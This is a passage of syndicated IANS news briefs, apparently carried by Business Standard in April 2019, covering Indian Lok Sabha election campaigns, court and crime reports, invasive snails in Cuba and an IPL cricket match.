Gambhir. "People should know that the votes going to Gambhir will be wasted as his candidature will be disqualified sooner or later," Bhardwaj said. Delhi will go to the polls on May 12. --IANS nks-ak/mag/bg (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) Justice Sanjay Gupta of the Jammu and Kashmir High Court on Friday dismissed an appeal by the banned Jammu Kashmir Liberation Front (JKLF) Chairman Muhammad Yasin Malik to transfer the trial of a 30-year-old case against the separatist leader from Jammu to Srinagar. The High Court had earlier ordered the shifting of the trial involving the killing of an air force official in Srinagar to Jammu. Yasin Malik is an accused in the case against whom the trial is currently being held in Jammu. --IANS sq/mag/arm (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Creating a positive perception and a strong political brand even for a mass hero-politician is not an easy job, say brand and perception strategists. "Today when actors float a party, their on-screen popularity gives them a leg up. But portability of their movie image to real life politician is difficult," Harish Bijoor, brand expert and founder of Harish Bijoor Consults Inc, told IANS. According to him, people will start asking so what if an actor comes to politics. An actor can bring the screen imagery to the physical world but after that it is difficult to convert that into votes. This is where perception positioning of politicians comes into play and the experts in this field are in good demand not only from politicians but also from people who what to build up an image before joining a political party. Actor-politician Kamal Haasan, after an insipid initial election campaign and unclear positioning during the Lok Sabha polls in Tamil Nadu, turned decisive to position himself as a third alternative to AIADMK and DMK only towards the end, political analyst Raveendhran Dhuraiswamy told IANS earlier. "While last minute change in positioning may fetch him some additional votes, Kamal Haasan should have clearly positioned him as an angry new politician from the start. He began tweeting against AIADMK government and that momentum should have been maintained," perception and political strategist Jhon Arokiasamy told IANS. Arokiasamy was instrumental in building former Union Health Minister and PMK leader Anbumani Ramadoss' brand perception during the 2016 Assembly elections in Tamil Nadu. "Unlike a product brand, a human brand is a persona brand. A persona brand needs to be real and alive than an inanimate brand. Political branding is more dynamic," Bijoor said. According to him, while branding a human being, the inherent qualities of that person should match with what is being portrayed. If there is a clash between the two images then distrust come in, as brand is basically all about trust. A variance of 10-15 per cent between the real persona and the branded persona is fine but when it exceeds that, problems arise, warned Bijoor. "What we do is the perception positioning of a politician. For a human being, image and perception are important. Image is a long-term journey and it cannot be constructed. Brand perception is short term and audience centric," added Arokiasamy. A politician should be portrayed close to what he can deliver. He cannot be portrayed as person who can deliver the sky when he can deliver only the earth, Bijoor said. In the case of movie actors, the problem they would face on entering politics is the transition of their on-screen image to real life politician. According to Arokiasamy, mass heroes will appeal to all sections of the society. Once a hero starts to appeal to masses, then his movie image is cultivated carefully and transition of that image to politics may not be a big problem. The problems the current day actor-politicians face is: political ideology, their stand on an issue, party structure, caste and cash. Arokiasamy said Kamal Haasan said his party's ideology was the middle-path while Rajinikanth had said he would follow spiritual politics. "People who backed the AIADMK founder and actor M.G. Ramachandran saw him as their leader and not the Dravidian ideology he was propagating while he was in DMK," former AIADMK MP K.C. Palanisamy told IANS. Telugu Desam Party founder N.T. Rama Rao (NTR) was seen as an avatar of Hindu God Rama after his movie roles. "Actors will not find the political space difficult where there are no ideologies," Arokiasamy said. On the importance of being politically correct on a burning issue, Arokiasamy cited Rajinikanth's statement after the police shooting at anti-Sterlite Copper protestors which brought down his image. Rajinikanth, after visiting the injured, said Tamil Nadu will become a graveyard if there are protests against every issue. The other problem for actors is that movie charisma will not click against cash-for-votes scam which is now widespread in Tamil Nadu. There is a segment which is not influenced by cash. To appeal to that segment brand building, perception positioning gains importance, said the two experts. The role of a perception strategist does not end with designing various campaigns but also includes convincing his client to change his lifestyle in line with the brand perception that he wants to be known. "I had a politician-client who wanted to be known as a champion of rural areas in a North Indian state. However, his lifestyle was divorced from the rural lifestyle. He was living in a huge house with multiple swimming pools and other luxuries. He was advised to change his lifestyle to be in line with the populace with whom he wants to be identified. He did change," Bijoor said. "Even aspiring politicians too want to build up an image before joining a political party. Sometime back a professional specializing in the real estate sector came to me to brand him so that when he joins a political party, the reception will be at an elevated level," Arokiasamy said. (Venkatachari Jagannathan can be contacted at v.jagannathan@ians.in) --IANS vj/mr (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Cuban authorities have confirmed the presence of giant African land snails, an invasive species that's potentially harmful to humans and agriculture, in the central and eastern regions of the island. The specimens found were "destroyed and buried", Rafael Borges, director of the Hygiene, Epidemiology and Microbiology Centre in Caibarien, Villa Clara province, said on Thursday. The authorities there have also launched an effort to rid the area of any existing snails, reports Xinhua news agency. Meanwhile, scientists at the Eastern Ecosystem and Biodiversity Center reported that African giant snails were also detected in Santiago de Cuba, the island's second-largest city. The species was found in the courtyard of a house planted mostly with mango and banana trees, researcher Abelardo Mendez told the Sierra Maestra newspaper. The African giant snail, or Achatina fulica, is originally from the rain forests of eastern tropical Africa, and was first detected in Havana in 2014. The adult snail, which may exceed 20 cm in length, is considered one of the worst snail pests of tropic and subtropic regions, according to Global Invasive Species Database. The snail has been listed among the 100 most harmful invasive species in the world since 2000. It spreads very quickly and usually displaces part of the local fauna due to its great reproductive capacity, which allows it to deposit more than 1,000 eggs per year on the ground. According to the International Union for Conservation of Nature, the snail is considered the main vector globally of the rat lungworm parasite, which can lead to a rare form of meningitis called eosinophilic meningoencephalitis in humans. --IANS ksk (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Dynasties and political lineage have been a dominant aspect of Haryana's electoral scene through decades and the ongoing Lok Sabha elections are no different. Like the past, family members and kin of various political veterans are in the fray in Haryana where elections will be held at all the 10 Lok Sabha constituencies on May 12. They include family members or kin of former Deputy Prime Minister Devi Lal, former Chief Ministers Bansi Lal and Bhajan Lal, peasant leader Sir Chhotu Ram, the family of Chaudhary Ranbir Singh (his son is Bhupinder Singh Hooda), a descendant of Raja Rao Tula Ram, members of the Jindal industrial house family. From the Devi Lal/Chautala clan, there has been a Deputy Prime Minister, Chief Ministers, ministers, MPs and legislators (MLAs) spanning over five decades. Hisar Member of Parliament (MP) Dushyant Chautala, great grand son of Devi Lal, acknowledges that political lineage had brought him into public life but says that getting elected and sustaining that connect with the public has to come from within a leader. "Proceedings of Parliament pinpoint to the fact that there was not even a single day in Lok Sabha when the voice of Hisar was not raised since I was elected by the people of Hisar in 2014," Dushyant, who holds the record of being the youngest MP in the Lok Sabha at the age of 26 years and one month in May 2014, told IANS. "If you compare the work and development done by the Hisar MP and other MPs of Haryana, you will certainly come to know the difference of efforts made by me," he added. Dushyant, who won the previous election as the INLD candidate and is now representing the Jannayak Janata Party (JJP) which he founded recently, said people now want change as 50 per cent of the population is below the age of 45 years, The grand-son of former Chief Minister Om Prakash Chautala, Dushyant and his younger brother Digvijay Chautala have broken off ties with their grand father and his party, Indian National Lok Dal (INLD) and formed the JJP to take their further. Former Union Defence Minister and Chief Minister Bansi Lal's family is also in active in the state. His grand-daughter, Shruti Choudhary, is contesting on a Congress ticket from the Bhiwani-Mahendergarh seat this time. She was elected from the Bhiwani seat in 2009. Her mother Kiran Choudhary is a Congress legislator in Haryana and a former minister. Bansi Lal's son, Surender Singh (Shruti's father), was a cabinet minister in the state when he died in a helicopter crash in March 2005. Pitted against Dushyant in Hisar is political debutant Bijendra Singh of the BJP. He is the son of Union Steel Minister Birender Singh and great grand son of peasant leader and former minister Sir Chhotu Ram. His mother, Prem Lata, is a Congress legislator in Haryana. Asked about his dynastic background, Bijendra, who recently quit his job as a senior IAS officer in Haryana to join politics, told IANS: "I don't believe that I haven't achieved by myself in my life. I completed my studies and even cleared the civil services examination. After working for 21 years, I came into after creating my own identity and did not start my career under my father's shadow." A product of New Delhi's Modern School (Barakhamba Road) and St. Stephen's College, 46-year-old Bijendra did Masters in History from Jawaharlal Nehru University in New Delhi in 1994. Former Chief Minister Bhajan Lal's grandson Bhavya Bishnoi too has entered the political field as the Congress candidate from Hisar. His parents, Kuldeep Bishnoi and Renuka Bishnoi, are Congress legislators in Haryana. Bhavya's grandmother, Jasma Devi, was a legislator earlier and his uncle (Kuldeep's elder brother) Chander Mohan, was Deputy Chief Minister in Haryana. "I will serve the people of Hisar with same zeal and dedication as Chaudhary Bhajan Lal had done. Both my opponents are outsiders in Hisar constituency," Bhavya, who holds a Master of Science degree in Contemporary India from Oxford's St. Antony College, said, as he urged voters to elect him. The Congress has gambled this time by fielding the father-son duo of Bhupinder Singh Hooda and Deepinder Singh Hooda from Sonipat and Rohtak Lok Sabha seats, respectively. Hooda senior, who was Chief Minister from 2005 to 2014, is the son of former minister (in undivided Punjab) Chaudhary Ranbir Singh. Deepinder, who holds a bachelor of technology (B.Tech.) degree as also an MBA degree (from Kelley School of Business, Indiana University, Bloomington, USA), has won the Rohtak seat thrice earlier. After working with the Reliance Industries and IT-giant Infosys, he quit his job in Dallas in 2005 to join politics. Union minister Rao Inderjit Singh is a descendant of freedom movement leader (1857 War of Independence) Raja Rao Tula Ram. He has considerable influence on the Ahir community. The Jindal family from Hisar, which owns the multi-billion Jindal Group of companies, too has been active in Haryana politics. The family patriarch, O.P. Jindal, was a legislator and cabinet minister. He died in a helicopter crash in March 2005. His wife, Savitri Jindal, who has been listed as the richest woman in the country, remained a legislator and a minister in the state. Jindal's son, Naveen Jindal, has been a MP from Kurukshetra (2004 and 2009), though he has decided not to contest this time. Congress party's national spokesman Randeep Surjewala, who is a legislator in the state and a former minister, is the son of former minister and state Congress president Shamsher Singh Surjewala. Randeep was a lawyer before entering politics. (Jaideep Sarin can be reached at jaideep.S@ians.in) --IANS js/vm (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Delhi Police has arrested a man who sexually assaulted a divorcee after luring her with the false promise of marriage, said an officer on Friday. The incident was reported from Netaji Subhash Place in the national capital where a seven-month pregnant victim filed a complaint with the police on Wednesday. "The woman, 27, and a mother of two, in her complaint alleged that she was first time raped by the accused in June 2018. He raped her on the pretext of marrying her. But when he refused to fulfil his promise, the victim registered a complaint, following which he was arrested," a senior police officer said. "During the court hearing, the accused had apologised to the victim, and with mutual consent they had agreed to tie the knot. Following this, the court had granted him bail," he said. "After he came out on bail last year, the accused used to stay with woman and developed physical relation with her again promising to marry her. This time the victim got pregnant. When she would ask the accused to marry her, he would assault her and force for abortion," he added. The accused is at large and a hunt is on to nab him, the officer said. --IANS sp/nir (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Leading American attorney Mark Bravin on Friday said that third party funding should be encouraged in arbitration in India towards evolving a progressive ecosystem. "Third party funding should be encouraged as it empowers parties who can't afford the procedures but have a right to justice," Bravin said at a discussion herev organised by the Nani Palkhivala Arbitration Centre. "Third-party funders are also very careful in assessing the probability of winning the arbitration case and, therefore, it's a win-win for everyone. It is a common practice in countries like the United States, United Kingdom and France, and is rapidly expanding." Bravin elaborated on India's growing role and contribution to the global arbitration ecosphere. He also gave insights into the practice of restricting foreign arbitrators from practicing in India and said that this will put India behind in the curve of global arbitration practices and can make arbitration even more difficult for lawyers based out of India. --IANS ak/bc (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Congress President Rahul Gandhi said on Friday that there was engine trouble in his flight to Patna and was forced to return to the national capital due to which his election rallies will get delayed. "Engine trouble on our flight to Patna today! We've been forced to return to Delhi. Today's meetings in Samastipur (Bihar), Balasore (Orissa) & Sangamner (Maharashta) will run late. Apologies for the inconvenience," Gandhi said in a tweet. He also attached a video of the cockpit of the aircraft. --IANS ps/ksk (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Delhi Police arrested a man who impersonated himself as a photo journalist of 'Bombay Times' and attended major public relations and 'page three' events organized in five star hotels in Connaught Place area, a police officer said on Friday. Ashish Jain was arrested on Thursday from Le Meridian hotel where he came to attend a 'page three' party. A resident of Karampura in Delhi, Jain was fond of clicking selfies with celebrities, police said. "A photographer by profession, Jain wanted to live a lavish life. So he made a fake identify card of 'Bombay Times' to attend big parties. He often had his dinner in five star hotels," said a police officer. One Shaliesh K Nevadita had complained to New Delhi district police last week that the accused impersonated himself as a photo journalist and stole many costly items from a hotel during a event. --IANS sp/prs (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Tripura Police on Friday registered a case against one Anupam Paul, a social media user, for allegedly spreading fake information about a "divorce suit" filed against Tripura Chief Minister Biplab Kumar Deb by his wife Niti Deb. "An FIR was lodged by an individual with West Agartala police station, accusing Anupam Paul of forgery, defamation and criminal conspiracy. Police suspect that more people might be involved with Paul," Deputy Inspector General (DIG) of Tripura Police Arindam Nath told IANS. He said police are looking for Paul and further probe is on. "The accused has not been arrested yet as he might be outside the state. Police have conducted a search at Paul's home here. Paul has been accused of posting such fake messages on the social media previously." the DIG said. Following the postings on various social media platforms, the Chief Minister's wife Niti Deb, who is now in Delhi in connection with her medical treatment, told a local television channel over phone, "it was a fake news. This is a dirty rumour spread to gain political mileage". Biplab Deb, who is now in West Bengal for Lok Sabha election campaign, in a statement said that "such social media propaganda is a deep rooted conspiracy with "malafide intention". Deb, who became Chief Minister in March last year, is also the state President of the ruling Bharatiya Janata Party (BJP). BJP spokesman Ashok Sinha addressed a press conference and vehemently condemned the "fake social media campaign" and demanded strict action against the perpetrators for spreading the rumour of a "divorce suit filed against Deb by his wife in a Delhi court". --IANS sc/vin/ (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Former Rajya Sabha member Shahid Siddiqui on Friday extended support to the Aam Aadmi Party (AAP) and its seven candidates in Delhi. Siddiqui, also a journalist, told the media here that he decided to support the party after seeing the "current political situation in the country" and the work done by the AAP for the common man. Addressing the media along with Siddiqui at the party office here, AAP leader and MP Sanjay Singh welcomed the support on the party's behalf. "I am here to protect the Constitution and the country," Siddiqui said, adding that he is not against any party. "I have decided to campaign for AAP in Delhi as AAP and (its chief Arvind) Kejriwal have done a lot for the common people of Delhi. We must vote seven seats to AAP to make Delhi a full state, for the development and growth of Delhi," he added. Siddiqui represented Uttar Pradesh from 2002 to 2008 in the upper house of the Parliament. He is a journalist and chief editor of Nai Duniya, an Urdu weekly published from New Delhi. --IANS nks/mag/bg (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Rajasthan Chief Minister Ashok Gehlot, who is going all out to ensure his son Vaibhav Gehlot's win from the Jodhpur parliamentary seat, has been branded "Dhritrashtra" by the Bharatiya Janata Party (BJP). Vaibhav Gehlot, 39, is making his debut as a Congress candidate against sitting BJP MP and Union Minister of State for Agriculture Gajendra Singh Shekhawat. With no political standing of his own, Vaibhav Gehlot is banking on his father's legacy to garner votes in Jodhpur, considered Ashok Gehlot's home turf. But with bookies in Phalodi betting big on the BJP's win here, his father too is leaving nothing to chance. Not only has he pushed the entire state machinery into creating a support base for Vaibhav Gehlot, since Friday he himself has started making door-to-door visits in the constituency. Congress sources told IANS: "Since April 21, Gehlot has been camping in Jodhpur and reaching out to people via bulk SMSes requesting them to vote for his son. One of his messages reads: "Friends, Congress candidate Vaibhav Gehlot needs your blessings and votes. Although I could not meet you in person, I request you to vote for Vaibhav to ensure his victory. Ashok Gehlot." Another message reads: "I apologise if I could not meet any of you due to work pressure but this election is not for Vaibhav or Ashok Gehlot. It is to save democracy. Ashok Gehlot." Not just the Chief Minister, his media team also seems equally engaged with voters on the social media and WhatsApp. Congress sources said that the Chief Minister has also invited Congress President Rahul Gandhi and party Secretary Priyanka Gandhi for a roadshow but there's no confirmation yet. "Just like Dhritrashtra, the Chief Minister seems to have gone blind in his son's love. He is camping in Jodhpur leaving aside all work," said former BJP MLA Rao Rajendra Singh. Shekhawat too has been invoking the Mahabharata in his rallies. "Like the two sides in the battle of Kurukshetra, we have our own Pandavas - who followed dharma and had Lord Krishna's blessings and Kauravas - the adharma-following sons of Dhritrashtra, who was blinded by the love for them." Former BJP Minister Arun Chaturvedi said: "Jodhpur is a prestige battle for Gehlot, who has put the entire state machinery behind Vaibhav. But the Modi factor will overpower everything." "Shekhawat is fluent in the local dialect and knows how to win the hearts of the locals. Vaibhav, on the other hand, is naive and needs grooming. He has failed to impress even the youth," Chaturvedi explained. A Congress leader too confirmed that significant communities from Jodhpur including Jats, Bishnois and even Malis, which Gehlot belongs to, were not very happy with him. The Jats and Bishnois want to teach a lesson to Gehlot, who ended their political clout by sending Congress Minister Mahipal Maderna and Congress MLA Malkhan Singh Bishnoi to jail in the Bhanwari Devi case seven years ago. The two leaders are still in prison. Mahipal Maderna is the son of 9-time MLA Parasram Maderna. He added that the Chief Minister did try to appease the two communities by getting Haryana-based Jat and Bishnoi leaders Bhupinder Singh Hooda and Kuldeep Bishnoi to campaign for his son. The high-stakes seat has already witnessed a rally by Prime Minister Narendra Modi and will see a grand roadshow by BJP President Amit Shah on April 26, three days before the polling on April 29. (Archana Sharma can be reached at archana.s@ians.in) --IANS arc/rtp/bg (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Delhi government has filed an FIR and ordered a probe involving a private school in Greater Kailash-II here after an underground fuel storage-cum-pumping station was found in the basement of the school with diesel storage of 2,500 litres. Speaking to the media at his residence, Delhi Deputy Chief Minister Manish Sisodia said he will meet the parents of students studying in K.R. Mangalam School on Monday. "The government has ordered an FIR and strict action against the school for running an illegal 2,500-liter diesel storage-cum-pumping station in the basement of the school. The parents have been continuously agitating and reaching out to the area MLA Saurabh Bharadwaj," Sisodia, also the Minister, said. Sisodia said the parents came to him with various complaints against the school. "The most alarming was the complaint about illegal diesel storage in the basement of the school premises which serves as an institution for at least 3,000 students. I had written to the Chief Secretary for an independent investigative raid with the DM, SDM, Fire Department and Delhi Jal Board in loop, which was conducted on April 20 and 22. "Today (on Friday), I held a review meeting with all officers to understand the outcome of the investigation. The fuel tank was found to be filled with diesel at the time of the raid. The students were studying on top of a varitable live bomb. The parents of that school and other schools are in a state of panic about the safety of their children," he said. He said he had ordered an FIR against the school and also ordered to seize the illegal water boring in the school, and the government has pulled out the diesel and dried the well with sand. "There will be strict action against other illegal activities too," Sisodia said. "I have fixed a meeting with all the parents of the school on April 29 to assure them that the security and health of the students are of top priority for the Delhi government. I would appeal to other parents too, to never hesitate in bringing such malpractices by private schools to our knowledge," he said, adding the branches of the school will be raided if there is a complaint. Bharadwaj, who was also with Sisodia, said the school is fully air-conditioned and expensive. It is attended mostly by the children of the upper class. "I am happy that the government took cognisance of how serious this issue was and strict action was taken against the school, despite Model Code Of Conduct. I am looking forward to the important interaction between parents and Sisodia in the school," he said. --IANS nks/prs (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Hearings ended on Friday in the appeal filed by the CBI against the acquittal of two beach-shack workers accused in 2008 of sexually assaulting and causing the death of British teenager Scarlett Keeling, the agency's special prosecutor said. "The matter is closed for judgement," Central Bureau of Investigation's special counsel Ejaz Khan told reporters in Panaji. The CBI last year challenged the acquittal by the Goa Children's Court of two beach-shack workers Samson D'Souza and Placido Carvalho, who were accused of sexually assaulting 15-year-old Scarlett Keeling and leaving her to die on Anjuna beach in 2008. D'Souza and Carvalho had been charged under Indian Penal Code sections 304 (II) (culpable homicide not amounting to murder), 354 (assault or use of criminal force on a woman with an intent to outrage her modesty) and 328 (administering stupefying drug with an intent to cause hurt). During the hearing conducted at the High Court bench here, the CBI had argued that the Goa Children's Court had erroneously acquitted the accused based on technicalities even as D'Souza and Carcalho's defence lawyers claimed that there was no direct evidence to link them to the crime. The sexual assault and subsequent death of Keeling had put the spotlight on the issue of safety of women in Goa, which attracts more than seven million tourists every year, half a million being foreign nationals. --IANS maya/mr (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Prime Minister Narendra Modi on Friday said the country was witnessing a "pro-incumbency" wave for the first time since Independence and that there was an atmosphere of enthusiasm for the return of his government. Addressing a rally here, Modi cautioned BJP workers against any complacency and said elections should be fought in the spirit of brotherhood. He later filed his nomination papers in presence of senior BJP and NDA leaders. Modi said that notwithstanding the stridency displayed by an opponent, there should not be any quarrel. "Friendship, brotherhood, this is the victory of democracy," he said. Modi also urged the party workers not to react to any abuses hurled at him. "Let the abuses go into Modi's account. I convert dirt into manure and then use it to blossom Lotus (election symbol of BJP)," he said. He said BJP workers all over the country were working hard. "From Kashmir to Kanyakumari, from Pasighat to Porbandar, there is an enthusiasm in the country. As Modi said "Phir ek baar", the gathering responded by saying "Modi sarkar". Modi said there had been several elections after Independence but the political pundits will need to analyse the "pro-incumbency wave that the country is seeing for the first time." "People have made up their mind. There is a feeling of uniqueness in the hard work of party workers and the love and affection of people." He targeted West Bengal and Kerala governments for violence against BJP workers. Referring to the body of a BJP's 22-year-old youth wing leader found hanging from a tree in West Bengal's Purulia district earlier this month, he said such crimes were committed to spread scare among people. He compared BJP workers with "gawale" (milkmen) accompanying Lord Krishna, the "vanar sena" of Lord Ram and workers of King Shivaji. He said a lot of people raised security concerns about his road show on Thursday, but he gets protection from wishes of mothers and sisters. "Matrishakti (mother power) gives me a lot of blessings. If something protects Modi, it is the blessings of crores of mothers and daughters," Modi said. He said BJP workers should also bring together first time voters irrespective of their political affiliation and offer them "jaggery" to celebrate their first time vote. Modi said he had been travelling across various parts of the country in the past one-and-a-half months. "We are only an instrument. The election is being fought by the people of country. And they have a lot of expectations from us." He said looking at the response of people on Thursday, the BJP has already won Varanasi, but he will not be satisfied till the party wins every booth. "My booth worker should not be defeated," he said. "We have to break some records," he said. "Democracy should win," he said, urging party workers to establish rapport with families in their area. --IANS ps/prs (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Governor's administration in Jammu and Kashmir government on Friday opposed the holding of state Assembly elections before November this year, informed sources said. The reasons cited against holding these elections in June by the state administration are the forthcoming Amarnath Yatra, the holy month of Ramadan, Eid festival, tourism season and the movement of nomadic goatherds from pasture lands back to the places where they are registered as voters, the sources said. A team of senior state government officials led by Chief Secretary B.V.R. Subrahmanyam had held a meeting with the full Election Commission in Delhi on Friday to discuss the holding of Assembly elections in the state. In the wake of dissent expressed by the state administration, the Chief Electoral Officer (CEO) of Jammu and Kashmir on Friday withdrew an earlier order regarding appointment of nodal officers for Assembly elections. The order issued earlier in the day by the Additional J&K CEO addressed to all District Electoral Officers of the state said: "The letter...dated 26-04-2019 regarding the subject mentioned above stands withdrawn ab-initio." The letter mentioned in this order had directed all electoral officers of the state to furnish within two days the list of nodal officers to be appointed for the conduct of state Assembly elections. The state is currently under the President's rule. --IANS sq/nir (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) After the Congress-led UDF said that it may win all 20 Lok Sabha seats in Kerala, the ruling CPI-M announced that it expects to bag as many as 18 seats and that the BJP will win none. Barring Wayanad, where Congress President Rahul Gandhi contested, and Malappuram, the Left Democratic Front led by the Communist Party of India-Marxist (CPI-M) expects to win all other seats. Speaking to the media soon after a meeting of the CPI-M leadership, party Secretary Kodiyeri Balakrishnan said their detailed analyses of the April 23 polling showed that the Left was set for a landslide. "Even while the BJP and Congress traded votes, in at least five constituencies, we have been able to overcome that. One reason why we are confident is that while the majority community vote has gone to all three fronts, we have got good support from the minority communities, just like it happened when we won 18 seats in the 2004 Lok Sabha polls," said Balakrishnan. "A brief analysis into previous polls clearly points out that when the BJP polls more votes, the Left benefits. In 2004, the BJP got 12 per cent votes and we got 18 seats. In 2009 when the BJP secured 6.5 per cent, we got less seats (4). This time while it is certain that BJP won't win any seats, they will get a higher vote share and it will help us," he added. Balakrishnan said that Rahul Gandhi's impact was limited to Wayanad. "Rahul was not a factor at all in Kerala and the BJP is not going to win any seat," he said. Kerala recorded 77.68 per cent polling, up from 74.02 per cent in 2014. State Congress chief Mullapally Ramachandran, for a second day in succession, slammed the CPI-M and said he will quit if it is proved that there was a secret deal between his party and the BJP. "What has happened in this elections is that the people of the state including a good number of the Communists have voted for us as the arrogance and rude behaviour of Chief Minister Pinarayi Vijayan has crossed all limits," he said. --IANS sg/mr (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A London court on Friday extended till May 24 the judicial custody of fugitive diamantaire Nirav Modi, rejecting his bail plea as it suspected that he could flee Britain and "interfere with witnesses". The Westminster Magistrates' Court ordered the Metropolitan Police to put him under custody till next hearing on May 24. The 48-year-old businessman, wanted in India in connection with Rs 13,500-crore Punjab National Bank (PNB) fraud case, was arrested from Holborn in London on March 19. Since then he has been fighting extradition proceedings in London. Nirav Modi was produced before the court via videoconferencing from Wandsworth prison in south-west London. The businessman and his uncle Mehul Choksi are being investigated by the Enforcement Directorate and the Central Bureau of Investigation after the PNB alleged that they cheated it of Rs 13,500 crore with the involvement of a few bank employees. Both fled India before the details of the fraud emerged in January 2018. The ED on February 26, 2018 attached property worth Rs 147 crore of Nirav Modi and his associate companies in connection with the case. This is the third time when the businessman's bail was rejected by the court. Judge Emma Arbuthnot on March 29 had granted the Metropolitan Police custody of Nirav Modi. Arbuthnot is the judge who ordered the extradition of former Kingfisher Airlines boss Vijay Mallya in December. Nirav Modi's first bail plea was rejected on the second day of his arrest. In May 2018, the ED filed chargesheets and sought non-bailable warrants against Nirav Modi and Choksi. --IANS rak/akk/mr (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Chennai Super Kings (CSK) once again missed the presence of their regular skipper M.S. Dhoni as the defending champions had to taste a 46-run defeat against Mumbai Indians in their return fixture at the M.A. Chidambaram Stadium, here on Friday. It was the Mumbai bowlers, who came all guns blazing on a slow wicket, to wrap up the home side, who were chasing a modest 156-run target, on a paltry 109 runs. Lasith Malinga starred for the visitors with figures of 4/37, while Krunal Pandya and Hardik Pandya bagged couple of wickets each. Chennai opener Murli Vijay was the only one to show some resistance as he managed to contribute a 35-ball 38. Mumbai had also defeated Chennai by 37 runs in their last encounter earlier this season in Mumbai. Chasing the target, Chennai were off to a worst-possible start as Malinga dismissed opener Shane Watson (8) before Hardik Pandya struck to send back Suresh Raina (2), reducing the yellow brigade to 22/2 in 3.1 overs. Vijay tried his best to repair the major damages but lacked support from the other end as incoming batsman Ambati Rayudu also departed without opening his account. Krunal accounted for the wicket of the Chennai stumper. Chennai's middle-order also fell like a pack of cards as they lost Kedar Jadhav (6) and Dhruv Shorey (5) cheaply. Things turned ugly for the hosts when Bumrah picked Vijay in the 12th over, leaving Chennai reeling at 66/6. Suryakumar Yadav took a stunning catch of Vijay at backward point off a Bumrah delivery. Dwayne Bravo (20 off 17) and Mitchell Santner (22 off 20) were involved in a short 33-run partnership for the seventh wicket and kept Chennai's slim hope of winning alive. However, Malinga broke the partnership as the Sri Lankan pacer's slower delivery took a leading edge off Bravo's bat and the pacer moved a couple of steps backwards to take an easy catch. The Mumbai bowlers then rattled the lower middle-order with ease as Deepak Chahar (0), Harbhajan Singh (1) also failed to bring any relief. Malinga put the final nail in the coffin after picking Santner in the 18th over to set up a comfortable victory for Mumbai. Earlier, some disciplined bowling by Chennai restricted Mumbai to a modest 155/4 as Rohit Sharma contributed a 48-ball 67. Rohit and Evin Lewis (32 off 30) were involved in a 75-run partnership for the second wicket and at one stage it looked as if the visitors will amass a massive total. However, after the fall of Lewis, the Chennai bowlers bowled economically and picked up wickets at regular intervals to deny Mumbai a big total. For Chennai, Santner was the pick of the bowlers as he impressed with figures of 2/13 from his four overs, while Deepak -- the only Chennai bowler to leak runs -- and Tahir picked a wicket each. Deepak conceded 46 runs from his four overs. Put into bat, Deepak came up with an early breakthrough as he packed back an in-form Quinton de Kock (15) with Mumbai at 24 runs in 2.4 overs. While trying to go for the maximum, de Kock misread Deepak's slower delivery and a top-edge off his bat went up in the air and Rayudu took the catch with ease. Lewis and Rohit then tried to repair the damage and took their side past the 50-run mark in 6.5 overs. They then steadily propelled Mumbai near the three-digit mark before Santner dismissed Lewis, with Mumbai scorecard reading 99/2. Tahir further jolted the visitors as he sent back incoming batsman Krunal (1) cheaply, reducing Mumbai to 101/3. After the addition of 21 runs in the visitor's score, Santner struck again to pick up the crucial wicket of a well-settled Rohit Sharma in the 17th over. Rohit's knock contained six boundaries and three hits into the stands. Hardik Pandya (23 unbeaten off 18) and Keiron Pollard (13 unbeaten off 12) then added 33 runs in the remaining 22 balls as Mumbai reached a fighting total. Brief scores Mumbai Indians -- 155/4 (Rohit Sharma 67, Evin Lewis 32; Mitchell Santner 2/13) -- beat Chennai Super Kings -- 109 all out in 17.4 overs (Murli Vijay 38, Mitchell Santner 22; Lasith Malinga 4/37) -- by 46 runs. --IANS kk/nir (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Prime Minister Narendra Modi filed his nomination papers for the Varanasi Lok Sabha seat on Friday. Modi won the Varanasi seat in 2014 with a massive margin of 3.37 lakh votes. In an impressive show of strength, the entire top leadership of the National Democratic Alliance (NDA) was present at the nomination. BJP President Amit Shah, Uttar Pradesh Chief Minister Yogi Adityanath, union Ministers Rajnath Singh, Nirmala Sitharaman, Sushma Swaraj, Nitin Gadkari, Ram Vilas Paswan and Piyush Goyal, Bihar Chief Minister Nitish Kumar, Assam Chief Minister Sarvanand Sonowal and Shiv Sena chief Uddhav Thackeray were among those present. AIADMK leader M. Thambidurai and Tamil Nadu Deputy Chief Minister O. Pannerselvam were also present. The Prime Minister, in a touching gesture, touched the feet of Akali Dal leader Prakash Singh Badal, one of the senior-most politicians in the country, and sought his blessings. Union Minister Anupriya Patel said: "There is no doubt that the Modi government is returning to power with full force. The road show in Varanasi shows the kind of support that the Prime Minister has got from the people." Paswan also reiterated that the NDA would return to power with a greater majority and asserted that the elections were a mere formality. Jagdish Chaudhary, a member of the Dom Raja family, which helps perform the last rites at Varanasi's Manikarnika Ghat, Subhash Gupta, a veteran BJP leader, and Nandita Shastri, the principal of a women's college were among those who proposed Modi's name. Earlier in the day, the Prime Minister held a meeting with party workers in which he is said to have laid down the strategy for campaigning. "All party workers must take it upon themselves to get the Modi app on the phones of all first time voters and ask them to look at the positive news surrounding our government," he said. "A pro-incumbency wave has been seen in country for the first time after independence. People across the nation are saying, 'Fir ek baar.. Modi Sarkar'. Political pundits will analyze this pro-incumbency wave later," he said. He told party workers to respect all candidates contesting the elections as they are also part of the democratic process. "Don't get influenced by our fights in election rallies. No candidate is our enemy. They are all part of the democratic process. Respect them all," he stated. 